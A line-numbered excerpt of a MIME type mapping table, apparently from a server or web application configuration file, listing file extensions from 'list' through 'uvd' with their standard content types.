2188 | 2189 | list 2190 | text/plain 2191 | 2192 | 2193 | list3820 2194 | application/vnd.ibm.modcap 2195 | 2196 | 2197 | listafp 2198 | application/vnd.ibm.modcap 2199 | 2200 | 2201 | lnk 2202 | application/x-ms-shortcut 2203 | 2204 | 2205 | log 2206 | text/plain 2207 | 2208 | 2209 | lostxml 2210 | application/lost+xml 2211 | 2212 | 2213 | lrf 2214 | application/octet-stream 2215 | 2216 | 2217 | lrm 2218 | application/vnd.ms-lrm 2219 | 2220 | 2221 | ltf 2222 | application/vnd.frogans.ltf 2223 | 2224 | 2225 | lvp 2226 | audio/vnd.lucent.voice 2227 | 2228 | 2229 | lwp 2230 | application/vnd.lotus-wordpro 2231 | 2232 | 2233 | lzh 2234 | application/x-lzh-compressed 2235 | 2236 | 2237 | m13 2238 | application/x-msmediaview 2239 | 2240 | 2241 | m14 2242 | application/x-msmediaview 2243 | 2244 | 2245 | m1v 2246 | video/mpeg 2247 | 2248 | 2249 | m21 2250 | application/mp21 2251 | 2252 | 2253 | m2a 2254 | audio/mpeg 2255 | 2256 | 2257 | m2v 2258 | video/mpeg 2259 | 2260 | 2261 | m3a 2262 | audio/mpeg 2263 | 2264 | 2265 | m3u 2266 | audio/x-mpegurl 2267 | 2268 | 2269 | m3u8 2270 | application/vnd.apple.mpegurl 2271 | 2272 | 2273 | m4a 2274 | audio/mp4 2275 | 2276 | 2277 | m4b 2278 | audio/mp4 2279 | 2280 | 2281 | m4r 2282 | audio/mp4 2283 | 2284 | 2285 | m4u 2286 | video/vnd.mpegurl 2287 | 2288 | 2289 | m4v 2290 | video/mp4 2291 | 2292 | 2293 | ma 2294 | application/mathematica 2295 | 2296 | 2297 | mac 2298 | image/x-macpaint 2299 | 2300 | 2301 | mads 2302 | application/mads+xml 2303 | 2304 | 2305 | mag 2306 | application/vnd.ecowin.chart 2307 | 2308 | 2309 | maker 2310 | application/vnd.framemaker 2311 | 2312 | 2313 | man 2314 | text/troff 2315 | 2316 | 2317 | mar 2318 | application/octet-stream 2319 | 2320 | 2321 | mathml 2322 | application/mathml+xml 2323 | 2324 | 2325 | mb 2326 | application/mathematica 2327 | 2328 | 2329 | mbk 2330 | application/vnd.mobius.mbk 2331 | 2332 | 2333 | mbox 2334 | application/mbox 2335 | 2336 | 2337 | mc1 2338 | application/vnd.medcalcdata 2339 | 2340 | 2341 | mcd 2342 | application/vnd.mcd 2343 | 2344 | 2345 | mcurl 2346 | text/vnd.curl.mcurl 2347 | 2348 | 2349 | mdb 2350 | application/x-msaccess 2351 | 2352 | 2353 | mdi 2354 | image/vnd.ms-modi 2355 | 2356 | 2357 | me 2358 | text/troff 2359 | 2360 | 2361 | mesh 2362 | model/mesh 2363 | 2364 | 2365 | meta4 2366 | application/metalink4+xml 2367 | 2368 | 2369 | metalink 2370 | application/metalink+xml 2371 | 2372 | 2373 | mets 2374 | application/mets+xml 2375 | 2376 | 2377 | mfm 2378 | application/vnd.mfmp 2379 | 2380 | 2381 | mft 2382 | application/rpki-manifest 2383 | 2384 | 2385 | mgp 2386 | application/vnd.osgeo.mapguide.package 2387 | 2388 | 2389 | mgz 2390 | application/vnd.proteus.magazine 2391 | 2392 | 2393 | mid 2394 | audio/midi 2395 | 2396 | 2397 | midi 2398 | audio/midi 2399 | 2400 | 2401 | mie 2402 | application/x-mie 2403 | 2404 | 2405 | mif 2406 | application/x-mif 2407 | 2408 | 2409 | mime 2410 | message/rfc822 2411 | 2412 | 2413 | mj2 2414 | video/mj2 2415 | 2416 | 2417 | mjp2 2418 | video/mj2 2419 | 2420 | 2421 | mk3d 2422 | video/x-matroska 2423 | 2424 | 2425 | mka 2426 | audio/x-matroska 2427 | 2428 | 2429 | mks 2430 | video/x-matroska 2431 | 2432 | 2433 | mkv 2434 | video/x-matroska 2435 | 2436 | 2437 | mlp 2438 | application/vnd.dolby.mlp 2439 | 2440 | 2441 | mmd 2442 | application/vnd.chipnuts.karaoke-mmd 2443 | 2444 | 2445 | mmf 2446 | application/vnd.smaf 2447 | 2448 | 2449 | mmr 2450 | image/vnd.fujixerox.edmics-mmr 2451 | 2452 | 2453 | mng 2454 | video/x-mng 2455 | 2456 | 2457 | mny 2458 | application/x-msmoney 2459 | 2460 | 2461 | mobi 2462 | application/x-mobipocket-ebook 2463 | 2464 | 2465 | mods 2466 | application/mods+xml 2467 | 2468 | 2469 | mov 2470 | video/quicktime 2471 | 2472 | 2473 | movie 2474 | video/x-sgi-movie 2475 | 2476 | 2477 | mp1 2478 | audio/mpeg 2479 | 2480 | 2481 | mp2 2482 | audio/mpeg 2483 | 2484 | 2485 | mp21 2486 | application/mp21 2487 | 2488 | 2489 | mp2a 2490 | audio/mpeg 2491 | 2492 | 2493 | mp3 2494 | audio/mpeg 2495 | 2496 | 2497 | mp4 2498 | video/mp4 2499 | 2500 | 2501 | mp4a 2502 | audio/mp4 2503 | 2504 | 2505 | mp4s 2506 | application/mp4 2507 | 2508 | 2509 | mp4v 2510 | video/mp4 2511 | 2512 | 2513 | mpa 2514 | audio/mpeg 2515 | 2516 | 2517 | mpc 2518 | application/vnd.mophun.certificate 2519 | 2520 | 2521 | mpe 2522 | video/mpeg 2523 | 2524 | 2525 | mpeg 2526 | video/mpeg 2527 | 2528 | 2529 | mpega 2530 | audio/x-mpeg 2531 | 2532 | 2533 | mpg 2534 | video/mpeg 2535 | 2536 | 2537 | mpg4 2538 | video/mp4 2539 | 2540 | 2541 | mpga 2542 | audio/mpeg 2543 | 2544 | 2545 | mpkg 2546 | application/vnd.apple.installer+xml 2547 | 2548 | 2549 | mpm 2550 | application/vnd.blueice.multipass 2551 | 2552 | 2553 | mpn 2554 | application/vnd.mophun.application 2555 | 2556 | 2557 | mpp 2558 | application/vnd.ms-project 2559 | 2560 | 2561 | mpt 2562 | application/vnd.ms-project 2563 | 2564 | 2565 | mpv2 2566 | video/mpeg2 2567 | 2568 | 2569 | mpy 2570 | application/vnd.ibm.minipay 2571 | 2572 | 2573 | mqy 2574 | application/vnd.mobius.mqy 2575 | 2576 | 2577 | mrc 2578 | application/marc 2579 | 2580 | 2581 | mrcx 2582 | application/marcxml+xml 2583 | 2584 | 2585 | ms 2586 | text/troff 2587 | 2588 | 2589 | mscml 2590 | application/mediaservercontrol+xml 2591 | 2592 | 2593 | mseed 2594 | application/vnd.fdsn.mseed 2595 | 2596 | 2597 | mseq 2598 | application/vnd.mseq 2599 | 2600 | 2601 | msf 2602 | application/vnd.epson.msf 2603 | 2604 | 2605 | msh 2606 | model/mesh 2607 | 2608 | 2609 | msi 2610 | application/x-msdownload 2611 | 2612 | 2613 | msl 2614 | application/vnd.mobius.msl 2615 | 2616 | 2617 | msty 2618 | application/vnd.muvee.style 2619 | 2620 | 2621 | mts 2622 | model/vnd.mts 2623 | 2624 | 2625 | mus 2626 | application/vnd.musician 2627 | 2628 | 2629 | musicxml 2630 | application/vnd.recordare.musicxml+xml 2631 | 2632 | 2633 | mvb 2634 | application/x-msmediaview 2635 | 2636 | 2637 | mwf 2638 | application/vnd.mfer 2639 | 2640 | 2641 | mxf 2642 | application/mxf 2643 | 2644 | 2645 | mxl 2646 | application/vnd.recordare.musicxml 2647 | 2648 | 2649 | mxml 2650 | application/xv+xml 2651 | 2652 | 2653 | mxs 2654 | application/vnd.triscape.mxs 2655 | 2656 | 2657 | mxu 2658 | video/vnd.mpegurl 2659 | 2660 | 2661 | n-gage 2662 | application/vnd.nokia.n-gage.symbian.install 2663 | 2664 | 2665 | n3 2666 | text/n3 2667 | 2668 | 2669 | nb 2670 | application/mathematica 2671 | 2672 | 2673 | nbp 2674 | application/vnd.wolfram.player 2675 | 2676 | 2677 | nc 2678 | application/x-netcdf 2679 | 2680 | 2681 | ncx 2682 | application/x-dtbncx+xml 2683 | 2684 | 2685 | nfo 2686 | text/x-nfo 2687 | 2688 | 2689 | ngdat 2690 | application/vnd.nokia.n-gage.data 2691 | 2692 | 2693 | nitf 2694 | application/vnd.nitf 2695 | 2696 | 2697 | nlu 2698 | application/vnd.neurolanguage.nlu 2699 | 2700 | 2701 | nml 2702 | application/vnd.enliven 2703 | 2704 | 2705 | nnd 2706 | application/vnd.noblenet-directory 2707 | 2708 | 2709 | nns 2710 | application/vnd.noblenet-sealer 2711 | 2712 | 2713 | nnw 2714 | application/vnd.noblenet-web 2715 | 2716 | 2717 | npx 2718 | image/vnd.net-fpx 2719 | 2720 | 2721 | nsc 2722 | application/x-conference 2723 | 2724 | 2725 | nsf 2726 | application/vnd.lotus-notes 2727 | 2728 | 2729 | ntf 2730 | application/vnd.nitf 2731 | 2732 | 2733 | nzb 2734 | application/x-nzb 2735 | 2736 | 2737 | oa2 2738 | application/vnd.fujitsu.oasys2 2739 | 2740 | 2741 | oa3 2742 | application/vnd.fujitsu.oasys3 2743 | 2744 | 2745 | oas 2746 | application/vnd.fujitsu.oasys 2747 | 2748 | 2749 | obd 2750 | application/x-msbinder 2751 | 2752 | 2753 | obj 2754 | application/x-tgif 2755 | 2756 | 2757 | oda 2758 | application/oda 2759 | 2760 | 2761 | 2762 | odb 2763 | application/vnd.oasis.opendocument.database 2764 | 2765 | 2766 | 2767 | odc 2768 | application/vnd.oasis.opendocument.chart 2769 | 2770 | 2771 | 2772 | odf 2773 | application/vnd.oasis.opendocument.formula 2774 | 2775 | 2776 | odft 2777 | application/vnd.oasis.opendocument.formula-template 2778 | 2779 | 2780 | 2781 | odg 2782 | application/vnd.oasis.opendocument.graphics 2783 | 2784 | 2785 | 2786 | odi 2787 | application/vnd.oasis.opendocument.image 2788 | 2789 | 2790 | 2791 | odm 2792 | application/vnd.oasis.opendocument.text-master 2793 | 2794 | 2795 | 2796 | odp 2797 | application/vnd.oasis.opendocument.presentation 2798 | 2799 | 2800 | 2801 | ods 2802 | application/vnd.oasis.opendocument.spreadsheet 2803 | 2804 | 2805 | 2806 | odt 2807 | application/vnd.oasis.opendocument.text 2808 | 2809 | 2810 | oga 2811 | audio/ogg 2812 | 2813 | 2814 | ogg 2815 | audio/ogg 2816 | 2817 | 2818 | ogv 2819 | video/ogg 2820 | 2821 | 2822 | 2823 | ogx 2824 | application/ogg 2825 | 2826 | 2827 | omdoc 2828 | application/omdoc+xml 2829 | 2830 | 2831 | onepkg 2832 | application/onenote 2833 | 2834 | 2835 | onetmp 2836 | application/onenote 2837 | 2838 | 2839 | onetoc 2840 | application/onenote 2841 | 2842 | 2843 | onetoc2 2844 | application/onenote 2845 | 2846 | 2847 | opf 2848 | application/oebps-package+xml 2849 | 2850 | 2851 | opml 2852 | text/x-opml 2853 | 2854 | 2855 | oprc 2856 | application/vnd.palm 2857 | 2858 | 2859 | org 2860 | application/vnd.lotus-organizer 2861 | 2862 | 2863 | osf 2864 | application/vnd.yamaha.openscoreformat 2865 | 2866 | 2867 | osfpvg 2868 | application/vnd.yamaha.openscoreformat.osfpvg+xml 2869 | 2870 | 2871 | otc 2872 | application/vnd.oasis.opendocument.chart-template 2873 | 2874 | 2875 | otf 2876 | application/x-font-otf 2877 | 2878 | 2879 | 2880 | otg 2881 | application/vnd.oasis.opendocument.graphics-template 2882 | 2883 | 2884 | 2885 | oth 2886 | application/vnd.oasis.opendocument.text-web 2887 | 2888 | 2889 | oti 2890 | application/vnd.oasis.opendocument.image-template 2891 | 2892 | 2893 | 2894 | otp 2895 | application/vnd.oasis.opendocument.presentation-template 2896 | 2897 | 2898 | 2899 | ots 2900 | application/vnd.oasis.opendocument.spreadsheet-template 2901 | 2902 | 2903 | 2904 | ott 2905 | application/vnd.oasis.opendocument.text-template 2906 | 2907 | 2908 | oxps 2909 | application/oxps 2910 | 2911 | 2912 | oxt 2913 | application/vnd.openofficeorg.extension 2914 | 2915 | 2916 | p 2917 | text/x-pascal 2918 | 2919 | 2920 | p10 2921 | application/pkcs10 2922 | 2923 | 2924 | p12 2925 | application/x-pkcs12 2926 | 2927 | 2928 | p7b 2929 | application/x-pkcs7-certificates 2930 | 2931 | 2932 | p7c 2933 | application/pkcs7-mime 2934 | 2935 | 2936 | p7m 2937 | application/pkcs7-mime 2938 | 2939 | 2940 | p7r 2941 | application/x-pkcs7-certreqresp 2942 | 2943 | 2944 | p7s 2945 | application/pkcs7-signature 2946 | 2947 | 2948 | p8 2949 | application/pkcs8 2950 | 2951 | 2952 | pas 2953 | text/x-pascal 2954 | 2955 | 2956 | paw 2957 | application/vnd.pawaafile 2958 | 2959 | 2960 | pbd 2961 | application/vnd.powerbuilder6 2962 | 2963 | 2964 | pbm 2965 | image/x-portable-bitmap 2966 | 2967 | 2968 | pcap 2969 | application/vnd.tcpdump.pcap 2970 | 2971 | 2972 | pcf 2973 | application/x-font-pcf 2974 | 2975 | 2976 | pcl 2977 | application/vnd.hp-pcl 2978 | 2979 | 2980 | pclxl 2981 | application/vnd.hp-pclxl 2982 | 2983 | 2984 | pct 2985 | image/pict 2986 | 2987 | 2988 | pcurl 2989 | application/vnd.curl.pcurl 2990 | 2991 | 2992 | pcx 2993 | image/x-pcx 2994 | 2995 | 2996 | pdb 2997 | application/vnd.palm 2998 | 2999 | 3000 | pdf 3001 | application/pdf 3002 | 3003 | 3004 | pfa 3005 | application/x-font-type1 3006 | 3007 | 3008 | pfb 3009 | application/x-font-type1 3010 | 3011 | 3012 | pfm 3013 | application/x-font-type1 3014 | 3015 | 3016 | pfr 3017 | application/font-tdpfr 3018 | 3019 | 3020 | pfx 3021 | application/x-pkcs12 3022 | 3023 | 3024 | pgm 3025 | image/x-portable-graymap 3026 | 3027 | 3028 | pgn 3029 | application/x-chess-pgn 3030 | 3031 | 3032 | pgp 3033 | application/pgp-encrypted 3034 | 3035 | 3036 | pic 3037 | image/pict 3038 | 3039 | 3040 | pict 3041 | image/pict 3042 | 3043 | 3044 | pkg 3045 | application/octet-stream 3046 | 3047 | 3048 | pki 3049 | application/pkixcmp 3050 | 3051 | 3052 | pkipath 3053 | application/pkix-pkipath 3054 | 3055 | 3056 | plb 3057 | application/vnd.3gpp.pic-bw-large 3058 | 3059 | 3060 | plc 3061 | application/vnd.mobius.plc 3062 | 3063 | 3064 | plf 3065 | application/vnd.pocketlearn 3066 | 3067 | 3068 | pls 3069 | audio/x-scpls 3070 | 3071 | 3072 | pml 3073 | application/vnd.ctc-posml 3074 | 3075 | 3076 | png 3077 | image/png 3078 | 3079 | 3080 | pnm 3081 | image/x-portable-anymap 3082 | 3083 | 3084 | pnt 3085 | image/x-macpaint 3086 | 3087 | 3088 | portpkg 3089 | application/vnd.macports.portpkg 3090 | 3091 | 3092 | pot 3093 | application/vnd.ms-powerpoint 3094 | 3095 | 3096 | potm 3097 | application/vnd.ms-powerpoint.template.macroenabled.12 3098 | 3099 | 3100 | potx 3101 | application/vnd.openxmlformats-officedocument.presentationml.template 3102 | 3103 | 3104 | ppam 3105 | application/vnd.ms-powerpoint.addin.macroenabled.12 3106 | 3107 | 3108 | ppd 3109 | application/vnd.cups-ppd 3110 | 3111 | 3112 | ppm 3113 | image/x-portable-pixmap 3114 | 3115 | 3116 | pps 3117 | application/vnd.ms-powerpoint 3118 | 3119 | 3120 | ppsm 3121 | application/vnd.ms-powerpoint.slideshow.macroenabled.12 3122 | 3123 | 3124 | ppsx 3125 | application/vnd.openxmlformats-officedocument.presentationml.slideshow 3126 | 3127 | 3128 | ppt 3129 | application/vnd.ms-powerpoint 3130 | 3131 | 3132 | pptm 3133 | application/vnd.ms-powerpoint.presentation.macroenabled.12 3134 | 3135 | 3136 | pptx 3137 | application/vnd.openxmlformats-officedocument.presentationml.presentation 3138 | 3139 | 3140 | pqa 3141 | application/vnd.palm 3142 | 3143 | 3144 | prc 3145 | application/x-mobipocket-ebook 3146 | 3147 | 3148 | pre 3149 | application/vnd.lotus-freelance 3150 | 3151 | 3152 | prf 3153 | application/pics-rules 3154 | 3155 | 3156 | ps 3157 | application/postscript 3158 | 3159 | 3160 | psb 3161 | application/vnd.3gpp.pic-bw-small 3162 | 3163 | 3164 | psd 3165 | image/vnd.adobe.photoshop 3166 | 3167 | 3168 | psf 3169 | application/x-font-linux-psf 3170 | 3171 | 3172 | pskcxml 3173 | application/pskc+xml 3174 | 3175 | 3176 | ptid 3177 | application/vnd.pvi.ptid1 3178 | 3179 | 3180 | pub 3181 | application/x-mspublisher 3182 | 3183 | 3184 | pvb 3185 | application/vnd.3gpp.pic-bw-var 3186 | 3187 | 3188 | pwn 3189 | application/vnd.3m.post-it-notes 3190 | 3191 | 3192 | pya 3193 | audio/vnd.ms-playready.media.pya 3194 | 3195 | 3196 | pyv 3197 | video/vnd.ms-playready.media.pyv 3198 | 3199 | 3200 | qam 3201 | application/vnd.epson.quickanime 3202 | 3203 | 3204 | qbo 3205 | application/vnd.intu.qbo 3206 | 3207 | 3208 | qfx 3209 | application/vnd.intu.qfx 3210 | 3211 | 3212 | qps 3213 | application/vnd.publishare-delta-tree 3214 | 3215 | 3216 | qt 3217 | video/quicktime 3218 | 3219 | 3220 | qti 3221 | image/x-quicktime 3222 | 3223 | 3224 | qtif 3225 | image/x-quicktime 3226 | 3227 | 3228 | qwd 3229 | application/vnd.quark.quarkxpress 3230 | 3231 | 3232 | qwt 3233 | application/vnd.quark.quarkxpress 3234 | 3235 | 3236 | qxb 3237 | application/vnd.quark.quarkxpress 3238 | 3239 | 3240 | qxd 3241 | application/vnd.quark.quarkxpress 3242 | 3243 | 3244 | qxl 3245 | application/vnd.quark.quarkxpress 3246 | 3247 | 3248 | qxt 3249 | application/vnd.quark.quarkxpress 3250 | 3251 | 3252 | ra 3253 | audio/x-pn-realaudio 3254 | 3255 | 3256 | ram 3257 | audio/x-pn-realaudio 3258 | 3259 | 3260 | rar 3261 | application/x-rar-compressed 3262 | 3263 | 3264 | ras 3265 | image/x-cmu-raster 3266 | 3267 | 3268 | rcprofile 3269 | application/vnd.ipunplugged.rcprofile 3270 | 3271 | 3272 | rdf 3273 | application/rdf+xml 3274 | 3275 | 3276 | rdz 3277 | application/vnd.data-vision.rdz 3278 | 3279 | 3280 | rep 3281 | application/vnd.businessobjects 3282 | 3283 | 3284 | res 3285 | application/x-dtbresource+xml 3286 | 3287 | 3288 | rgb 3289 | image/x-rgb 3290 | 3291 | 3292 | rif 3293 | application/reginfo+xml 3294 | 3295 | 3296 | rip 3297 | audio/vnd.rip 3298 | 3299 | 3300 | ris 3301 | application/x-research-info-systems 3302 | 3303 | 3304 | rl 3305 | application/resource-lists+xml 3306 | 3307 | 3308 | rlc 3309 | image/vnd.fujixerox.edmics-rlc 3310 | 3311 | 3312 | rld 3313 | application/resource-lists-diff+xml 3314 | 3315 | 3316 | rm 3317 | application/vnd.rn-realmedia 3318 | 3319 | 3320 | rmi 3321 | audio/midi 3322 | 3323 | 3324 | rmp 3325 | audio/x-pn-realaudio-plugin 3326 | 3327 | 3328 | rms 3329 | application/vnd.jcp.javame.midlet-rms 3330 | 3331 | 3332 | rmvb 3333 | application/vnd.rn-realmedia-vbr 3334 | 3335 | 3336 | rnc 3337 | application/relax-ng-compact-syntax 3338 | 3339 | 3340 | roa 3341 | application/rpki-roa 3342 | 3343 | 3344 | roff 3345 | text/troff 3346 | 3347 | 3348 | rp9 3349 | application/vnd.cloanto.rp9 3350 | 3351 | 3352 | rpss 3353 | application/vnd.nokia.radio-presets 3354 | 3355 | 3356 | rpst 3357 | application/vnd.nokia.radio-preset 3358 | 3359 | 3360 | rq 3361 | application/sparql-query 3362 | 3363 | 3364 | rs 3365 | application/rls-services+xml 3366 | 3367 | 3368 | rsd 3369 | application/rsd+xml 3370 | 3371 | 3372 | rss 3373 | application/rss+xml 3374 | 3375 | 3376 | rtf 3377 | application/rtf 3378 | 3379 | 3380 | rtx 3381 | text/richtext 3382 | 3383 | 3384 | s 3385 | text/x-asm 3386 | 3387 | 3388 | s3m 3389 | audio/s3m 3390 | 3391 | 3392 | saf 3393 | application/vnd.yamaha.smaf-audio 3394 | 3395 | 3396 | sbml 3397 | application/sbml+xml 3398 | 3399 | 3400 | sc 3401 | application/vnd.ibm.secure-container 3402 | 3403 | 3404 | scd 3405 | application/x-msschedule 3406 | 3407 | 3408 | scm 3409 | application/vnd.lotus-screencam 3410 | 3411 | 3412 | scq 3413 | application/scvp-cv-request 3414 | 3415 | 3416 | scs 3417 | application/scvp-cv-response 3418 | 3419 | 3420 | scurl 3421 | text/vnd.curl.scurl 3422 | 3423 | 3424 | sda 3425 | application/vnd.stardivision.draw 3426 | 3427 | 3428 | sdc 3429 | application/vnd.stardivision.calc 3430 | 3431 | 3432 | sdd 3433 | application/vnd.stardivision.impress 3434 | 3435 | 3436 | sdkd 3437 | application/vnd.solent.sdkm+xml 3438 | 3439 | 3440 | sdkm 3441 | application/vnd.solent.sdkm+xml 3442 | 3443 | 3444 | sdp 3445 | application/sdp 3446 | 3447 | 3448 | sdw 3449 | application/vnd.stardivision.writer 3450 | 3451 | 3452 | see 3453 | application/vnd.seemail 3454 | 3455 | 3456 | seed 3457 | application/vnd.fdsn.seed 3458 | 3459 | 3460 | sema 3461 | application/vnd.sema 3462 | 3463 | 3464 | semd 3465 | application/vnd.semd 3466 | 3467 | 3468 | semf 3469 | application/vnd.semf 3470 | 3471 | 3472 | ser 3473 | application/java-serialized-object 3474 | 3475 | 3476 | setpay 3477 | application/set-payment-initiation 3478 | 3479 | 3480 | setreg 3481 | application/set-registration-initiation 3482 | 3483 | 3484 | sfd-hdstx 3485 | application/vnd.hydrostatix.sof-data 3486 | 3487 | 3488 | sfs 3489 | application/vnd.spotfire.sfs 3490 | 3491 | 3492 | sfv 3493 | text/x-sfv 3494 | 3495 | 3496 | sgi 3497 | image/sgi 3498 | 3499 | 3500 | sgl 3501 | application/vnd.stardivision.writer-global 3502 | 3503 | 3504 | sgm 3505 | text/sgml 3506 | 3507 | 3508 | sgml 3509 | text/sgml 3510 | 3511 | 3512 | sh 3513 | application/x-sh 3514 | 3515 | 3516 | shar 3517 | application/x-shar 3518 | 3519 | 3520 | shf 3521 | application/shf+xml 3522 | 3523 | 3529 | 3530 | sid 3531 | image/x-mrsid-image 3532 | 3533 | 3534 | sig 3535 | application/pgp-signature 3536 | 3537 | 3538 | sil 3539 | audio/silk 3540 | 3541 | 3542 | silo 3543 | model/mesh 3544 | 3545 | 3546 | sis 3547 | application/vnd.symbian.install 3548 | 3549 | 3550 | sisx 3551 | application/vnd.symbian.install 3552 | 3553 | 3554 | sit 3555 | application/x-stuffit 3556 | 3557 | 3558 | sitx 3559 | application/x-stuffitx 3560 | 3561 | 3562 | skd 3563 | application/vnd.koan 3564 | 3565 | 3566 | skm 3567 | application/vnd.koan 3568 | 3569 | 3570 | skp 3571 | application/vnd.koan 3572 | 3573 | 3574 | skt 3575 | application/vnd.koan 3576 | 3577 | 3578 | sldm 3579 | application/vnd.ms-powerpoint.slide.macroenabled.12 3580 | 3581 | 3582 | sldx 3583 | application/vnd.openxmlformats-officedocument.presentationml.slide 3584 | 3585 | 3586 | slt 3587 | application/vnd.epson.salt 3588 | 3589 | 3590 | sm 3591 | application/vnd.stepmania.stepchart 3592 | 3593 | 3594 | smf 3595 | application/vnd.stardivision.math 3596 | 3597 | 3598 | smi 3599 | application/smil+xml 3600 | 3601 | 3602 | smil 3603 | application/smil+xml 3604 | 3605 | 3606 | smv 3607 | video/x-smv 3608 | 3609 | 3610 | smzip 3611 | application/vnd.stepmania.package 3612 | 3613 | 3614 | snd 3615 | audio/basic 3616 | 3617 | 3618 | snf 3619 | application/x-font-snf 3620 | 3621 | 3622 | so 3623 | application/octet-stream 3624 | 3625 | 3626 | spc 3627 | application/x-pkcs7-certificates 3628 | 3629 | 3630 | spf 3631 | application/vnd.yamaha.smaf-phrase 3632 | 3633 | 3634 | spl 3635 | application/x-futuresplash 3636 | 3637 | 3638 | spot 3639 | text/vnd.in3d.spot 3640 | 3641 | 3642 | spp 3643 | application/scvp-vp-response 3644 | 3645 | 3646 | spq 3647 | application/scvp-vp-request 3648 | 3649 | 3650 | spx 3651 | audio/ogg 3652 | 3653 | 3654 | sql 3655 | application/x-sql 3656 | 3657 | 3658 | src 3659 | application/x-wais-source 3660 | 3661 | 3662 | srt 3663 | application/x-subrip 3664 | 3665 | 3666 | sru 3667 | application/sru+xml 3668 | 3669 | 3670 | srx 3671 | application/sparql-results+xml 3672 | 3673 | 3674 | ssdl 3675 | application/ssdl+xml 3676 | 3677 | 3678 | sse 3679 | application/vnd.kodak-descriptor 3680 | 3681 | 3682 | ssf 3683 | application/vnd.epson.ssf 3684 | 3685 | 3686 | ssml 3687 | application/ssml+xml 3688 | 3689 | 3690 | st 3691 | application/vnd.sailingtracker.track 3692 | 3693 | 3694 | stc 3695 | application/vnd.sun.xml.calc.template 3696 | 3697 | 3698 | std 3699 | application/vnd.sun.xml.draw.template 3700 | 3701 | 3702 | stf 3703 | application/vnd.wt.stf 3704 | 3705 | 3706 | sti 3707 | application/vnd.sun.xml.impress.template 3708 | 3709 | 3710 | stk 3711 | application/hyperstudio 3712 | 3713 | 3714 | stl 3715 | application/vnd.ms-pki.stl 3716 | 3717 | 3718 | str 3719 | application/vnd.pg.format 3720 | 3721 | 3722 | stw 3723 | application/vnd.sun.xml.writer.template 3724 | 3725 | 3726 | sub 3727 | text/vnd.dvb.subtitle 3728 | 3729 | 3730 | sus 3731 | application/vnd.sus-calendar 3732 | 3733 | 3734 | susp 3735 | application/vnd.sus-calendar 3736 | 3737 | 3738 | sv4cpio 3739 | application/x-sv4cpio 3740 | 3741 | 3742 | sv4crc 3743 | application/x-sv4crc 3744 | 3745 | 3746 | svc 3747 | application/vnd.dvb.service 3748 | 3749 | 3750 | svd 3751 | application/vnd.svd 3752 | 3753 | 3754 | svg 3755 | image/svg+xml 3756 | 3757 | 3758 | svgz 3759 | image/svg+xml 3760 | 3761 | 3762 | swa 3763 | application/x-director 3764 | 3765 | 3766 | swf 3767 | application/x-shockwave-flash 3768 | 3769 | 3770 | swi 3771 | application/vnd.aristanetworks.swi 3772 | 3773 | 3774 | sxc 3775 | application/vnd.sun.xml.calc 3776 | 3777 | 3778 | sxd 3779 | application/vnd.sun.xml.draw 3780 | 3781 | 3782 | sxg 3783 | application/vnd.sun.xml.writer.global 3784 | 3785 | 3786 | sxi 3787 | application/vnd.sun.xml.impress 3788 | 3789 | 3790 | sxm 3791 | application/vnd.sun.xml.math 3792 | 3793 | 3794 | sxw 3795 | application/vnd.sun.xml.writer 3796 | 3797 | 3798 | t 3799 | text/troff 3800 | 3801 | 3802 | t3 3803 | application/x-t3vm-image 3804 | 3805 | 3806 | taglet 3807 | application/vnd.mynfc 3808 | 3809 | 3810 | tao 3811 | application/vnd.tao.intent-module-archive 3812 | 3813 | 3814 | tar 3815 | application/x-tar 3816 | 3817 | 3818 | tcap 3819 | application/vnd.3gpp2.tcap 3820 | 3821 | 3822 | tcl 3823 | application/x-tcl 3824 | 3825 | 3826 | teacher 3827 | application/vnd.smart.teacher 3828 | 3829 | 3830 | tei 3831 | application/tei+xml 3832 | 3833 | 3834 | teicorpus 3835 | application/tei+xml 3836 | 3837 | 3838 | tex 3839 | application/x-tex 3840 | 3841 | 3842 | texi 3843 | application/x-texinfo 3844 | 3845 | 3846 | texinfo 3847 | application/x-texinfo 3848 | 3849 | 3850 | text 3851 | text/plain 3852 | 3853 | 3854 | tfi 3855 | application/thraud+xml 3856 | 3857 | 3858 | tfm 3859 | application/x-tex-tfm 3860 | 3861 | 3862 | tga 3863 | image/x-tga 3864 | 3865 | 3866 | thmx 3867 | application/vnd.ms-officetheme 3868 | 3869 | 3870 | tif 3871 | image/tiff 3872 | 3873 | 3874 | tiff 3875 | image/tiff 3876 | 3877 | 3878 | tmo 3879 | application/vnd.tmobile-livetv 3880 | 3881 | 3882 | torrent 3883 | application/x-bittorrent 3884 | 3885 | 3886 | tpl 3887 | application/vnd.groove-tool-template 3888 | 3889 | 3890 | tpt 3891 | application/vnd.trid.tpt 3892 | 3893 | 3894 | tr 3895 | text/troff 3896 | 3897 | 3898 | tra 3899 | application/vnd.trueapp 3900 | 3901 | 3902 | trm 3903 | application/x-msterminal 3904 | 3905 | 3906 | tsd 3907 | application/timestamped-data 3908 | 3909 | 3910 | tsv 3911 | text/tab-separated-values 3912 | 3913 | 3914 | ttc 3915 | application/x-font-ttf 3916 | 3917 | 3918 | ttf 3919 | application/x-font-ttf 3920 | 3921 | 3922 | ttl 3923 | text/turtle 3924 | 3925 | 3926 | twd 3927 | application/vnd.simtech-mindmapper 3928 | 3929 | 3930 | twds 3931 | application/vnd.simtech-mindmapper 3932 | 3933 | 3934 | txd 3935 | application/vnd.genomatix.tuxedo 3936 | 3937 | 3938 | txf 3939 | application/vnd.mobius.txf 3940 | 3941 | 3942 | txt 3943 | text/plain 3944 | 3945 | 3946 | u32 3947 | application/x-authorware-bin 3948 | 3949 | 3950 | udeb 3951 | application/x-debian-package 3952 | 3953 | 3954 | ufd 3955 | application/vnd.ufdl 3956 | 3957 | 3958 | ufdl 3959 | application/vnd.ufdl 3960 | 3961 | 3962 | ulw 3963 | audio/basic 3964 | 3965 | 3966 | ulx 3967 | application/x-glulx 3968 | 3969 | 3970 | umj 3971 | application/vnd.umajin 3972 | 3973 | 3974 | unityweb 3975 | application/vnd.unity 3976 | 3977 | 3978 | uoml 3979 | application/vnd.uoml+xml 3980 | 3981 | 3982 | uri 3983 | text/uri-list 3984 | 3985 | 3986 | uris 3987 | text/uri-list 3988 | 3989 | 3990 | urls 3991 | text/uri-list 3992 | 3993 | 3994 | ustar 3995 | application/x-ustar 3996 | 3997 | 3998 | utz 3999 | application/vnd.uiq.theme 4000 | 4001 | 4002 | uu 4003 | text/x-uuencode 4004 | 4005 | 4006 | uva 4007 | audio/vnd.dece.audio 4008 | 4009 | 4010 | uvd 4011 | application/vnd.dece.data 4012 | 4013 | 